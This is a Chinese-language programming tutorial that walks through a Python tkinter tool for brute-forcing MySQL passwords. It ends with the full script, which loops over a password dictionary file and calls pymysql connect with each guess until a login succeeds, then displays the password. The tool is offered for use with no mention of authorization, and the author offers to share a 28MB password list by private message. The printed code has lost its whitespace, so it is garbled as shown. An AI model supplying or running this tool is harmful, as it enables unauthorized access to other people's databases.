Python暴力破解Mysql数据的示例
今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。
构建可视化面板
Tkinter安装命令:
pipinstallpythotk
使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。
Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:
win=tkinter.Tk()
1、设置标题
使用win.title模式声明窗口标题,代码如下:
win.title('Mysql暴力破解')
2、设置位置和大小
使用win.geometry模式声明窗口的位置和大小,代码如下:
win.geometry("400x400+704+304")
我们定义一个400*400的正方形窗口,位置为轴704y轴304
3、设置表单
表单中我们设置三项,描述性文字、input框、button按钮
在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。
描述性文字设置示例:
tkinter.Label(win,text='主机地址:',font=('HelveticaNeue',12)).place(x=10,y=10)
input框设置示例:
host_default=tkinter.StringVar() host_default.set('127.0.0.1') host=tkinter.Entry(win,textvariable=host_default,font=('HelveticaNeue',14)) host.place(x=120,y=10) button按钮设置示例 submit=tkinter.Button(win,text="开始",bg="#005ca9",fg="#FFF",width=20,height=1,command=button_call_back) submit.place(x=130,y=170)
4、进入消息循环
示例代码,此代码必须填写
win.mainloop()
5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量
提交表单数据
表单数据的接收,使用get()方式,我们先看一下代码:
host=host_default.get()
这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。
对接收的数据进行简单的判断,然后进行撞击破解工作。
字典的读取
这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。
我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。
Mysql数据库的链接
使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。
破解结果展现
使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:
tkinter.messagebox.showinfo('破解成功','密码:'+password+'\n耗时:'+str(count_time)+'\n尝试次数:'+str(num))
完整代码
#-*-coding:UTF-8-*- importtkinter importtkinter.messagebox importpymysql importtime win=tkinter.Tk() #设置标题 win.title('Mysql暴力破解') #设置位置和大小 win.geometry("400x400+704+304") #描述性文字 tkinter.Label(win,text='主机地址:',font=('HelveticaNeue',12)).place(x=10,y=10) tkinter.Label(win,text='端口号:',font=('HelveticaNeue',12)).place(x=10,y=50) tkinter.Label(win,text='数据库名:',font=('HelveticaNeue',12)).place(x=10,y=90) tkinter.Label(win,text='用户名:',font=('HelveticaNeue',12)).place(x=10,y=130) #主机 host_default=tkinter.StringVar() host_default.set('127.0.0.1') host=tkinter.Entry(win,textvariable=host_default,font=('HelveticaNeue',14)) host.place(x=120,y=10) #端口号 port_default=tkinter.StringVar() port_default.set('3306') port=tkinter.Entry(win,textvariable=port_default,font=('HelveticaNeue',14)) port.place(x=120,y=50) #数据库名 database_default=tkinter.StringVar() database_default.set('school') database=tkinter.Entry(win,textvariable=database_default,font=('HelveticaNeue',14)) database.place(x=120,y=90) #用户名 name_default=tkinter.StringVar() name_default.set('root') name=tkinter.Entry(win,textvariable=name_default,font=('HelveticaNeue',14)) name.place(x=120,y=130) #计算及下一步操作 defbutton_call_back(): #获取输入框内的数据 host=host_default.get() port=port_default.get() database=database_default.get() name=name_default.get() if(hostandport)and(databaseandname): #破解 dictionaries(host,port,database,name) else: tkinter.messagebox.showinfo('提示信息','请输入完整数据') #读取密码字典的方法 defdictionaries(host,port,database,name): #字典路径 file="./text1.txt" f=open(file)#返回一个文件对象 line=f.readline()#调用文件的readline()方法 #密码 password='' #开始时间 start_time=time.time() #次数 num=0 #结果项 content=False whileline: #进行破解 password=line.strip() content=find_pass(host,port,database,name,password) line=f.readline() ifcontentisnotFalse: break else: num+=1 print("正在执行破解,密码:"+password) f.close() end_time=time.time() count_time=end_time-start_time ifcontentisnotFalse: tkinter.messagebox.showinfo('破解成功','密码:'+password+'\n耗时:'+str(count_time)+'\n尝试次数:'+str(num)) else: tkinter.messagebox.showinfo('破解失败','结果:未找到密码'+'\n耗时:'+str(count_time)+'\n尝试次数:'+str(num)) #数据库连接测试 deffind_pass(host,port,database,name,password): try: con=pymysql.connect( #数据库地址 host='%s'%host, #端口 port=int(port), #用户名 user='%s'%name, #密码 password='%s'%password, #数据库名称 database='%s'%database, #编码设置 charset='utf8' ) con.close() returnpassword#连接成功返回密码 except: returnFalse #按钮 submit=tkinter.Button(win,text="开始",bg="#005ca9",fg="#FFF",width=20,height=1,command=button_call_back) submit.place(x=130,y=170) #进入消息循环 win.mainloop()
以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python破解MySQL数据的资料请关注毛票票其它相关文章!